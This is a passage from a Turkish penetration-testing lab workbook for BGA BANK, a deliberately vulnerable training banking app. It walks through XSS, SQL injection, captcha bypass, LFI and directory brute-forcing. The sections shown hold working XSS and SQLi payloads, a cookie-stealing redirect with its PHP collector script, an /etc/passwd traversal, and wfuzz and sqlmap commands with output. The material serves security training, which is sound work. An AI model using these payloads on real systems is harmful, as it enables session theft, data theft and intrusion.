More Related Content Similar to BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1 (20) More from BGA Cyber Security (20) BGA BANK Web Güvenlik Testleri Uygulama Kitabı V11.
[ Tüm
yayın
hakları
BGA
Bilgi
Güvenliği
A.Ş.’e
aittir.
BGA’nın
yazılı
izni
olmadan
çoğaltılamaz.
Kaynak
gösterilmek
koşuluyla
alıntı
yapılabilir.]
BGA
BANK
Web
Güvenlik
Testleri
Uygulama
Kitabı
Ceylan
BOZOĞULLARINDAN
<ceylan@bga.com.tr>
2. 2
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
GİRİŞ
BGA
Bank
Hakkında
“BGA
BANK
(Vulnerable
Online
Bank
Application)”
uygulaması
PHP
tabanlı
çeşitli
zafiyetler
içeren
sızma
testi
eğitim
platformudur.
Türkiye'deki
bankacılık
altyapısı
incelenerek
bu
altyapılarda
çıkabilecek
tüm
teknik
ve
mantıksal
hatalar
uygulamanın
içine
eklenmiş
ve
web
uygulama
güvenliği
konusunda
çalışanlar
için
gerçekci
bir
sızma
testi
platformu
oluşturulmuştur.
Webgoat,
DVWA
vs
gibi
benzeri
amaçla
yazılmış
programlardan
en
temel
farkı
açıklıkların
doğrudan
kullanıcıya
nerede
olduğu
ve
nasıl
istismar
edileceği
ile
ilgili
ipucu
vermemesidir.
BGA
BANK
altyapısı
3
farklı
sistemden
oluşmaktadır:
1-‐
BGA
BANK
-‐
http://www.bgabank.com
2-‐
IPS
Korumalı
Bankacılık
Uygulaması
-‐
http://ipstest.bgabank.com
3-‐
WAF
Korumalı
Bankacılık
Uygulaması
-‐
http://waftest.bgabank.com
Böylece
bgabank.com'da
çalışan
bir
açıklığın
hem
IPS
hem
de
WAF
sistemleri
ile
tekrar
test
edilerek
çeşitli
evasion
tekniklerinin
denenmesi
de
sağlanmış
olmaktadır.
Yazılım
Geliştiriciler
Ceylan
BOZOĞULLARINDAN,
Rızacan
TUFAN
Kitapçık
Yazarları
Ceylan
BOZOĞULLARINDAN,
Ender
AKBAŞ,
Huzeyfe
ÖNAL
Katkıda
Bulunanlar
Halil
DALABASMAZ,
Ömer
ALBAYRAK
Proje
Yöneticisi
Huzeyfe
ÖNAL
Kitap
içeriğiyle
ilgili
her
türlü
geri
dönüş
için
bgabank@bga.com.tr
adresine
e-‐
posta
gönderebilirsiniz.
3. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
3
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Bilgi
Güvenliği
AKADEMİSİ
(BGA)
Hakkında
Bilgi
Güvenliği
Akademisi
(BGA)
Türkiye’deki
bilgi
güvenliği
sektörüne
profesyonel
anlamda
destek
olmak
amacıyla
ileri
seviye
güvenlik
danışmanlığı
ve
bilgi
güvenliği
eğitimleri
konularında
kurumlara
hizmet
vermektedir.
2008-‐2010
yılları
arasında
yapılan
çalışmalar
sonucu
gönüllü
bir
ekip
tarafından
kurulup
Türkiye
‘de
bilgi
güvenliği
konusunda
bilgi
paylaşımının
ve
bilinçlenmenin
arttırılması
adına
e-‐posta
listeleri
oluşturulması,
seminerler,
güvenlik
günleri
düzenlenmesi,
üniversite
öğrencilerine
yön
vermek
maksadı
ile
siber
güvenlik
kamplarının
düzenlenmesi
gibi
birçok
konuda
faaliyetlerde
bulunmuştur.
Bilgi
Güvenliği
Akademisi,
BGA
Bilgi
Güvenliği
A.Ş.
olarak
2011
yılı
başında
şirketleşmiştir.
Kısa
sürede
Türkiye’nin
en
önemli
kurumlarına
bilgi
güvenliği
ve
stratejik
siber
güvenlik
konularında
danışmanlık
gerçekleştirmiş,
500’den
fazla
kuruma
eğitim
vermiştir.
2012
-‐
2015
yılları
itibariyle
yurtdışında
Azerbaycan,
Kazakistan,
KKTC
gibi
ülkelerde
de
şube
açmış
ve
bu
ülkelerde
en
büyük
10
şirkete
hizmet
vermektedir
.
Sunduğumuz
eğitim
ve
danışmanlık
hizmetleri
için
bilgi@bga.com.tr
adresine
e-‐posta
gönderebilirsiniz.
4. 4
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
İçindekiler
GİRİŞ
.............................................................................................................................................................
2
Bilgi
Güvenliği
AKADEMİSİ
(BGA)
Hakkında
..............................................................................................
3
1.
Müşteri
Giriş
Paneli
Reflected
XSS
Zafiyeti
ve
İstismarı
...........................................................................
6
2.
Müşteri
Giriş
Paneli
SQL
Injection
Zafiyeti
ve
İstismarı
............................................................................
9
3.
User-‐Agent
Bilgisi
Değiştirerek
Captcha
Atlatma
(Mobil
Giriş)
...............................................................
12
4.
Arama
Kutusu
Reflected
XSS
Zafiyeti
ve
İstismarı
..................................................................................
14
5.
HPF
(HTTP
Parameter
Fragmentation)
Yöntemi
ile
XSS
İstismarı
...........................................................
16
6.
XSS
Kullanarak
Cookie
Bilgisi
Çalma
.......................................................................................................
17
7.
Yönetim
Paneli
Dizin
İfşası
......................................................................................................................
18
8.
Local
File
Inclusion
Zafiyeti
ve
İstismarı
..................................................................................................
20
9.
robots.txt
Bilgi
İfşası
...............................................................................................................................
22
10.
PhpMyAdmin
Bilgi
İfşası
.......................................................................................................................
23
11.
Arama
Kutusu
Error
Based
&
Union
Query
SQL
Injection
Zafiyeti
ve
İstismarı
....................................
24
12.
Log
Dizininde
Cookie
İfşası
(elmah.axd)
ve
İstismarı
............................................................................
30
13.
Mesaj
Gönderme
Stored
XSS
Zafiyeti
ve
İstismarı
................................................................................
36
14.
Havale/EFT
Hesap
Arama
Kutusu
SQL
Injection
Zafiyeti
ve
İstismarı
...................................................
38
15.
User-‐Agent
Başlık
Bilgisinde
SQL
Injection
Zafiyeti
ve
İstismarı
...........................................................
41
16.
Profil
Güncelleme
Shell
Upload
Zafiyeti
ve
İstismarı
............................................................................
42
17.
Havale/EFT
Stored
XSS
Zafiyeti
ve
İstismarı
.........................................................................................
45
18.
Erişim
Kısıtlamasını
Atlatma
.................................................................................................................
48
19.
Havale/EFT
İşlemi
Mantık
Hatası
ve
İstismarı
.......................................................................................
51
20.
Müşteri
Bilgileri
Insecure
Direct
Object
Zafiyeti
ve
İstismarı
................................................................
53
21.
Ziyaretçi
Defteri
Stored
XSS
Zafiyeti
ve
İstismarı
..................................................................................
56
22.
Çalışmayan
Captcha
Uygulaması
..........................................................................................................
58
23.
Captcha
Atlatarak
Brute
Force
Saldırısı
Gerçekleştirme
.......................................................................
59
24.
Cookie
Hırsızlığı
ile
Yönetim
Panelinde
Oturum
Açmak
.......................................................................
62
25.
Müşteri
Parolasının
Tahmin
Edilebilir
Olması
.......................................................................................
66
26.
Havale
İşleminde
Mantık
Hatası
(Havale
Yaparak
Bakiye
Arttırma)
.....................................................
70
27.
Dizin
Listeleme/İfşa
Zafiyeti
.................................................................................................................
71
28.
Şifre
Değiştirme
İşlemi
CSRF
Zafiyeti
ve
İstismarı
.................................................................................
72
29.
Kartlarım
Sayfası
Insecure
Direct
Object
References
Zafiyeti
ve
İstismarı
...........................................
76
30.
Şubeler
Sayfası
SQL
Injection
Zafiyeti
ve
İstismarı
...............................................................................
79
31.
İşlem
Özeti
Filtreleme
Web
Service
SQL
Injection
................................................................................
83
32.
BGA
Bank
Session
Fixation
Saldırısı
......................................................................................................
86
5. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
5
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
33.
HTML
Yorum
Satırlarında
Bilgi
İfşası
.....................................................................................................
88
34.
Şifre
Değiştirme
Panelinde
Şifre
Form
Kontrolünü
Atlatma
.................................................................
90
35.
Diğer
Müşterilere
Bağlı
Kart
Şifrelerini
Değiştirme
..............................................................................
93
36.
Şubeler
Sayfası
Reflected
XSS
Zafiyeti
ve
İstismarı
...............................................................................
96
37.
İçerik
Parametresi
Time-‐Based
SQL
Injection
Zafiyeti
ve
İstismarı
.......................................................
99
38.
Kodlarına
Ulaşılabilir
Dosyalar
............................................................................................................
101
39.
User-‐Agent
Başlık
Bilgisinde
Stored
XSS
Zafiyeti
ve
İstismarı
.............................................................
103
40.
Haberdar
Ol
Sayfası
SQL
Injection
Zafiyeti
ve
İstisamarı
....................................................................
107
41.
Haberdar
Ol
Sayfası
Reflected
XSS
Zafiyeti
ve
İstismarı
.....................................................................
112
42.
Döviz
Alma
İşleminde
Araya
Girilerek
Döviz
Fiyatı
Değiştirme
...........................................................
115
43.
Tomcat
6
Sistem
İfşası
........................................................................................................................
118
44.
Güvensiz
Çıkış
Zafiyeti
........................................................................................................................
119
45.
User-‐Agent
Bilgisi
Değiştirerek
Ücretsiz
Havale
İşlemi
Gerçekleştirme
..............................................
121
46.
LFI
ve
Dosya
Yükleme
Zafiyetini
Kullanarak
Sisteme
Shell
Yükleme
...................................................
123
47.
Tomcat
Metasploit
Brute
Force
Saldırısı
............................................................................................
128
48.
Müşteri
Girişi
Form
Tabanlı
Brute
Force
Saldırısı
...............................................................................
130
49.
OWASP
Xenotix
XSS
Framework
Kullanarak
XSS
Tespiti
.....................................................................
133
50.
XSS
Zafiyeti
ile
Beef
Framework
Kullanarak
Şifre
Çalma
Senaryosu
...................................................
136
51.
Nmap
Kullanarak
PortSpoof
Tespiti
....................................................................................................
142
6. 6
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
1. Müşteri Giriş Paneli Reflected XSS Zafiyeti ve İstismarı
BGA
Bank
"Müşteri
Giriş
Paneli"
sayfasında
“Reflected
XSS
Zafiyeti”
bulunmaktadır.
XSS
zafiyetinin
tespiti
ve
istismarı
aşağıda
adım
adım
anlatılmıştır.
URL
http://isube.bgabank.com/giris.aspx
HTTP
Talep
Türü
POST
Payload
<script>alert(document.cookie)</script>
Parametre
b_musterino
Tablo
1.
Giriş
Sayfası
Reflected
XSS
Zafiyet
Bilgileri
1)
Giriş
formu
rastgele
ve
yanlış
bilgilerle
doldurulur,
ardından
“Giriş
Yap”
butonuna
tıklanır.
Şekil
1.
Müşteri
Giriş
Paneli
Yanlış
girilen
müşteri
numarasının
hata
mesajında
yer
alması,
XSS
zafiyetinin
olabileceğine
işaret
eder.
12345678
yerine
yazılan
herhangi
bir
HTML
veya
JavaScript
kodu,
sayfa
kaynak
kodları
arasında
yer
alır.
Eğer
girdiler
geliştirici
tarafından
filtrelenmemişse
saldırgan
zararlı
kod
parçacıklarını
sayfa
üzerinde
çalıştırabilir.
2)
Tarayıcı
ile
uygulama
arasına
girilerek,
JavaScript
filtrelemeleri
atlatılır
ve
payload
çalıştırılır.
Müşteri
numarası
alanına
direk
tarayıcı
üzerinden
html
kod
girildiğinde,
Şekil
2.
de
gösterilen
hata
veya
türevleri
zafiyetin
istismarına
engel
olacaktır.
7. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
7
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
2.
Müşteri
Giriş
Paneli
Hata
Mesajı
Uygulama
geliştirici,
girdileri
JavaScript
ile
kontrol
etmektedir.
JavaScript
kodları
sunucuda
değil,
son
kullanıcının
yani
müşterinin
tarayıcısında
çalışır.
Bu
problem,
tarayıcı
ile
sunucu
arasına
girilerek
çözülebilir.
Bunu
gerçekleştirmek
için
de
Proxy
araçları
kullanılır.
Bu
zafiyetin
istismarında
Proxy
aracı
olarak
Burp
Suite
kullanılmıştır.
Müşteri
numarası,
geliştiricinin
istediği
formata
uygun
bir
şekilde
(12345678)
girilir.
“Giriş
Yap”
butonuna
tıklandığı
anda
sunucuya
gönderilen
istek
Proxy’ye
düşer.
Proxy’de
bekletilen
istek
üzerinde
bulunan,
“b_musterino”
parametresinin
12345678
olan
değeri
Tablo
1.
deki
payload
ile
değiştirilir.
Bekletilen
isteğe
izin
verilerek
sunucuya
ulaşması
sağlanır.
Böylece
filtreleme
başarılı
bir
şekilde
atlatılmış
olur.
Şekil
3.
Burp
Suite
İle
Veri
Manipülasyonu
8. 8
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
3)
Sonuç,
müşterinin
cookie
bilgileri
başarılı
bir
şekilde
alınır.
Şekil
4.
Sonuç
9. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
9
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
2. Müşteri Giriş Paneli SQL Injection Zafiyeti ve İstismarı
Müşteri
giriş
panelinde
SQL
injection
zafiyeti
yer
almaktadır.
Zafiyet
bilgileri
tablo
2.
de
gösterilmiştir.
URL
http://isube.bgabank.com/giris.aspx
HTTP
Talep
Türü
POST
Payload
"
or
2=2;-‐-‐
Parametre
b_musterino
Tablo
2.
Giriş
Sayfası
SQL
Injection
Zafiyet
Bilgileri
Zafiyetin
istismarı
aşağıda
adım
adım
anlatılmıştır.
1)
Giriş
formu
kurallara
uygun
şekilde
doldurur
ve
Firefox’un
HTTP
Live
Headers
eklentisi
açıkken
“Giriş
Yap”
butonuna
tıklanır.
HTTP
isteği
gönderilirken,
“Live
HTTP
Header”
üzerinde
kendi
yansımasını
bırakır.
Bu
yansıma
üzerinde
Javascript
filtreleme
olmadığından
payload
girilerek
istek
tekrar
gönderilebilir.
Şekil
5.
de
gösterilen
istek
üzerinde
değişiklik
yapmak
için
“Replay”
butonuna
tıklanır.
Şekil
5.
Live
HTTP
Headers
10. 10
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
2)
“b_musterino”
parametre
değerine,
Tablo
2.
de
yer
alan
SQL
injection
payload
girilir
ve
istek
tekrar
“Replay”
butonu
ile
gönderilir.
(bkz.
Şekil
6)
Şekil
6.
Live
HTTP
Headers
SQL
Injection
Payload
Gönderimi
11. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
11
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
3)
Sonuç,
başarılı.
Şekil
7.
Sonuç
12. 12
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
3. User-Agent Bilgisi Değiştirerek Captcha Atlatma (Mobil
Giriş)
URL
http://isube.bgabank.com/giris.aspx
Tablo
3.
Captcha
URL
Tablo
3.
de
belirtilen
adreste
üç
kez
yanlış
giriş
denemesinde
bulunulduğunda,
brute
force
saldırısını
engellemek
için
captcha
çıkmaktadır.
Fakat
mobil
cihazla
girildiğinde
captcha
çıkmamaktadır.
Tarayıcıda
user-‐agent
bilgisi
değiştirilerek,
mobil
cihaz
gibi
siteye
giriş
yapılabilir.
Bunun
için
Firefox
eklentisi
“User
Agent
Switcher”
kullanılabilir.
Şekil
8.
Captcha
Panel
Bu
durumdayken
“User
Agent
Switcher”
ile
cihaz
iPhone
3.0
olarak
ayarlanır
ve
yanlış
veriler
girilip
“Giriş
Yap”
butonuna
tıklandığında
Captcha
‘nın
kaybolduğu
görülecektir.
(Şekil
9)
13. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
13
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
9.
User
Agent
Switcher
14. 14
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
4. Arama Kutusu Reflected XSS Zafiyeti ve İstismarı
URL
http://isube.bgabank.com/?sayfa=arama.php&s1=bgabank&s2=
HTTP
Talep
Türü
GET
Payload
<Script>prompt(document.cookie);</Script>
Parametre
s1
veya
s2
Tablo
4.
Arama
Sayfası
Reflected
XSS
Zafiyet
Bilgileri
Arama
kutusunda
Reflected
XSS
zafiyeti
bulunmaktadır.
Zafiyet
bilgileri
Tablo
4.
de
belirtilmiştir.
Bu
zafiyeti
istismar
etmeden
önce
normal
bir
arama
yapılır.
"deneme"
kelimesi
aratıldığında
"Aradığınız
Kayıt
Bulunamadı”
hatası
dönmektedir.
(bkz.
Şekil
10)
Şekil
10.
Normal
Arama
Sonucu
Daha
sonra
çeşitli
payloadlar
denenebilir.
En
sık
kullanılan
payloadlardan
<script>alert(1)</script>
denendiğinde,
sonuç
Şekil
11
deki
gibidir.
Şekil
11.
Hata
mesajı
Burada
script,
alert
gibi
sık
kullanılan
XSS
payloadlarına
karşı
bir
önlem
alındığı
düşünülebilir.
Bu
engeli
atlatmak
için
en
basit
yöntemlerden
biri
script
kelimesini
büyük-‐küçük
harf
15. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
15
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
kullanarak
yazmaktır.
Şekil
12.
de
<Script>prompt(document.cookie);</Script>
payloadı
denenmiştir
ve
sonuç
başarılıdır.
Şekil
12.
Sonuç
Bu
payload
haricinde,
içinde
script
veya
alert
kelimeleri
geçmeyen
yüzlerce
farklı
payload
çalıştırılabilir.
Örnek;
http://isube.bgabank.com/?sayfa=arama.php&s1=<img
onerror=prompt('BGA')
src="a"
/>&s2=
(bkz.
Şekil
13)
Şekil
13.
Örnek
Payload
Denemesi
16. 16
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
5. HPF (HTTP Parameter Fragmentation) Yöntemi ile XSS
İstismarı
Örnek
URL;
http://isube.bgabank.com/?sayfa=arama.php&s1=<img
onerror=al&s2=ert('BGA')
src=”a”/>
Alınan
önlemler,
HPF(HTTP
Parameter
Fragmentation)
olarak
adlandırılan
yöntemle
atlatılabilmektedir.
Bu
yöntemde,
arama
işleminde
yer
alan,
iki
arama
parametresi
(s1
ve
s2)
üzerinden
istismar
edilir.
Örnek
URL
’de
alert
s1
ve
s2
parametreleri
üzerinde
bölünmüştür.
(bkz.
Şekil
14)
Şekil
14.
HPP
17. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
17
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
6. XSS Kullanarak Cookie Bilgisi Çalma
Arama
kutusunda
yer
alan
XSS
zafiyeti,
kullanıcıların
cookie
bilgilerini
çalmak
için
kullanılabilir.
Aşağıda
belirtilen
tablodaki
payload,
istenilen
linke,
kullanıcı
cookie
bilgilerini
get
isteği
ile
göndermektedir.
Cookie
Çalma
İçin
Kullanılan
Payload
<sCript>document.location="http://localhost/test/steal.php?cookie="+document.cookie</Script>
Adres
içerisinde
belirtilen
steal.php
dosyasının
kaynak
kodları
aşağıdaki
gibidir.
steal.php
Kaynak
Kodları
<?php
$cookie
=
$_GET["cookie"];
$myfile
=
fopen("cookies.txt",
"a")
or
die("Dosya
bulunamadı!");
fwrite($myfile,
$cookie);
fclose($myfile);
?>
Yukarıdaki
kaynak
koddan
da
anlaşıldığı
gibi,
gelen
istekler,
cookies.txt
dosyasına
kaydedilmektedir.
Bunun
için,
ya
cookies.txt
dosyası
oluşturmalı
yolunu
belirtilmeli
ya
da
fopen
parametresi
w
olarak
değiştirilmelidir.
w
parametresi
yeni
dosya
oluşturup,
içine
yazmayı
sağlar.
Şimdi
zafiyet
yeni
payload
ile
denendiğinde,
sayfanın
yönlendiği
görülecektir.
(Şekil
A)
Şekil
A.
Çalışan
Payload
Cookies.txt
dosyasına
kullanıcı
cookie
bilgileri
kaydedilmiştir.
(Şekil
B)
Şekil
B.
Cookies.txt
İçeriği
18. 18
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
7. Yönetim Paneli Dizin İfşası
URL
http://isube.bgabank.com/administrator.aspx
Tablo
5.
Yönetim
Paneli
URL
Zafiyet
her
zaman
kodlar
üzerinde
olmayabilir.
Bazen
basit
bir
parola
veya
giriş
formunun
brute-‐force’a
açık
olması
hedef
sistemde
hak
yükseltmek
için
kullanılabilir.
Bunun
için
öncelikle
admin
giriş
sayfasının
tespit
edilmesi
gerekir.
Keşif
aracı
olarak
wfuzz
kullanılmıştır.
Ancak
bazı
öntanımlı
admin
panel
dizinleri
manuel
olarak
da
denenebilir.
Dizin
ifşası
için
Wfuzz
aracında
aşağıdaki
komutlar
sırasıyla
çalıştırılır.
#
cd
/usr/share/wfuzz
#
./wfuzz.py
-‐c
-‐-‐hc
404,XXX
-‐z
file,wordlist/general/admin-‐panels.txt
http://isube.bgabank.com/?sayfa=FUZZ
Kelime
listeleri
wfuzz/wordlist
dizini
altında
bulunabilir.
Yukarıdaki
URL’de
FUZZ
yazan
yer
brute-‐force’un
deneneceği
kısımdır.
Şekil
15.
Wfuzz
Sonuç
19. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
19
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Response
değerlerine
bakıldığında
2
tip
cevap
döndüğü
görülür,
401
ve
200.
401
olanlar
elenir.
200
olanlar
Lines,
Word,
Chars
değerlerine
bakılarak
ayırt
edilebilir.
Şekil
15.
de
benzer
değerleri
bulunmayan
tek
dizin
vardır
(administrator.aspx).
Yönetici
paneli;
Şekil
16.
Yönetim
Paneli
20. 20
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
8. Local File Inclusion Zafiyeti ve İstismarı
URL
http://isube.bgabank.com/?sayfa=../../../../../../etc/passwd
Tablo
6.
Local
File
Inclusion
URL
● Bir
önceki
bulguda
bahsedildiği
gibi
BGA
BANK’ta
sayfa
parametresiyle
sunucudan
aynı
dizin
altındaki
farklı
php
dosyaları(giris.php,
mobilgiris.php
vb.)
çağırılmaktadır.
● Hem
Linux’ta
hem
Windows’ta
.(tek
nokta)
aynı
dizini
ve
..
(iki
nokta)
ise
bir
üst
dizini
ifade
eder.
● Linux
bir
sistemde
/etc/passwd
dosyası
bazı
kullanıcı
bilgilerini
saklar
ve
herkes
tarafından
okunabilir.
Bu
bilgiler
kullanılarak
sistemdeki
yerel
dosya
okuma
zafiyetinden
/etc/passwd
dosyası
görüntülenebilir.
İşlem
manuel
olarak
yapılıyorsa
garanti
olması
için
../../
sayısı
fazla
tutulabilir.
İşletim
sistemi
sayı
fazla
olsa
dahi
ana
dizinden
bakmaya
başlayacaktır.
Yani
tablo
6.
da
belirtilen
adrese
ve
http://isube.bgabank.com/?sayfa=../../../../../../../../../../../etc/passwd
adresine
giriş
yapıldığında
şekil
17.
deki
sonucu
verecektir.
Şekil
17.
/etc/passwd
Bilgileri
Otomatize
araç
olarak
wfuzz
kullanılabilir.
#
cd
/usr/share/wfuzz
#
./wfuzz.py
-‐c
-‐-‐hc
404,XXX
-‐z
file,wordlist/Injections/Traversal.txt
http://isube.bgabank.com/?sayfa=FUZZ
Bir
önceki
zafiyette
olduğu
gibi
wfuzz
FUZZ’un
olduğu
bölüme
bruteforce
yapacaktır.
Word
ve
Chars
değerleri
kontrol
edilerek
geçerli
dizinler
bulunabilir.
(bkz.
Şekil
18)
21. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
21
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
18.
Wfuzz
LFI
22. 22
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
9. robots.txt Bilgi İfşası
URL
http://isube.bgabank.com/robots.txt
Tablo
7.
Local
File
Inclusion
URL
Robot.txt,
arama
motorlarına
sitedeki
hangi
dizinleri
indeksleyebileceğini
belirten
basit
bir
metin
dosyadır.
Bu
dosya
ile,
örneğin
Google’ın
indekslemediği
gizli
dizinler,
web
sayfaları
öğrenilebilir.
Robot.txt
dosyası
web
sitesinde
en
üst
dizinde
bulunur.
Aşağıdaki
robot.txt
dosyasından
Disallow
ile
belirtilen
6
dizinin
indekslenmesinin
istenmediği
anlaşılabilir.
Bu
da
dizinlerin
var
olabileceğini
gösterir.
Şekil
19.
robots.txt
İçeriği
23. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
23
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
10. PhpMyAdmin Bilgi İfşası
URL
http://isube.bgabank.com/pma/
Tablo
8.
phpMyAdmin
URL
MySQL
veritabanını
web
tarayıcısı
üzerinden
yönetmek
için
kullanılan
phpMyAdmin
uygulamasının
giriş
sayfası
dışarıya
açıktır.
Bu
sayfaya
erişim
kısıtlanmadığında
brute-‐force
saldırılarına
maruz
kalabilir
ya
da
uygulamaya
has
zafiyetler
varsa
istismar
edilebilir.
Öntanımlı
phpMyAdmin
giriş
sayfası
pma
veya
phpmyadmin’dir.
Şekil
20.
phpMyAdmin
Panel
24. 24
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
11. Arama Kutusu Error Based & Union Query SQL Injection
Zafiyeti ve İstismarı
URL
http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=
HTTP
Talep
Türü
GET
Payload
"
or
1=1;
Parametre
s1
Tablo
9.
Arama
Kutusu
SQL
Injection
Zafiyet
Bilgileri
Arama
kısmında
hata
tabanlı
ve
Union
sorguları
çalıştırılabilecek
SQL
injection
zafiyeti
vardır.
Tespit
için
öncelikle
bir
çift
tırnak
atıldığında
SQL
hatası
görülebilir.
(bkz.
Şekil
21)
Şekil
21.
Arama
Kutusu
SQL
injection
deneme"
or
1=1;
payloadı
ile
veritabanında
deneme
ile
ilgili
bir
içerik
olmasa
dahi
"
or
1=1;
ile
tüm
içerik
listelenmiştir.
(bkz.
Şekil
22)
25. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
25
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Şekil
22.
Payload
Çıktısı
İstismar
sqlmap
aracı
ile
yapılmıştır.
Aşağıdaki
komut
ile
sqlmap’e
zafiyetin
hangi
URL’de,
hangi
parametrede,
hangi
veritabanında
olduğu
ve
istismarın
hangi
seviyede
aranacağı
belirtilmiştir.
sqlmap’de
seviye(level)
yükseldikçe
HTTP
cookie,
HTTP
user
agent
gibi
başlıklarda
da
zafiyet
aranır.
#
sqlmap.py
-‐u
"http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="
-‐p
s1
-‐-‐dbms
MYSQL
-‐-‐level
4
sqlmap
çıktısı;
GET
parameter
's1'
is
vulnerable.
Do
you
want
to
keep
testing
the
others
(if
any)?
[y/N]
sqlmap
identified
the
following
injection
points
with
a
total
of
461
HTTP(s)
requests:
-‐-‐-‐
Place:
GET
Parameter:
s1
Type:
error-‐based
Title:
MySQL
>=
5.0
AND
error-‐based
-‐
WHERE
or
HAVING
clause
Payload:
sayfa=arama.php&s1=deneme"
AND
(SELECT
8204
FROM(SELECT
COUNT(*),
CONCAT(0x716d6e6371,(SELECT
(CASE
WHEN
(8204=8204)
THEN
1
ELSE
0
END)),0
x7176717771,FLOOR(RAND(0)*2))x
FROM
INFORMATION_SCHEMA.CHARACTER_SETS
GROUP
BY
x)a)
AND
"rmsH"="rmsH&s2=
Type:
UNION
query
Title:
MySQL
UNION
query
(NULL)
-‐
10
columns
Payload:sayfa=arama.php&s1=deneme"
UNION
ALL
SELECT
NULL,
26. 26
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
CONCAT(0x716d6e6371,0x68546f6b5063706b4968,0x7176717771),NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL#&s2=
-‐-‐-‐
[17:00:01]
[INFO]
the
back-‐end
DBMS
is
MySQL
web
server
operating
system:
Linux
Ubuntu
web
application
technology:
Apache
2.4.7,
PHP
5.5.9
back-‐end
DBMS:
MySQL
5.0
Görüldüğü
gibi
error-‐based
ve
UNION
query
tipinde
sql
injection
zafiyetleri
tespit
edildi.
İstismar
için
önce
-‐-‐dbs
ile
var
olan
veritabanları
listelenir.
(Tablo
10)
Komut
sqlmap.py
-‐u
"http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="
-‐p
s1
-‐-‐dbms
MYSQL
-‐-‐level
4
-‐-‐dbs
Çıktı
available
databases
[6]:
[*]
bga_bank_4_0
[*]
honeypot
[*]
information_schema
[*]
mysql
[*]
performance_schema
[*]
phpmyadmin
Tablo
10.
sqlmap
Veritabanı
Listeleme
Verileri
Hedef
olarak
-‐D
ile
bga_bank_4_0
veritabanı
seçilmiştir
ve
-‐-‐tables
ile
tablolar
listelenmiştir.
(Tablo
11)
Komut
sqlmap.py
-‐u
"http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="
-‐p
s1
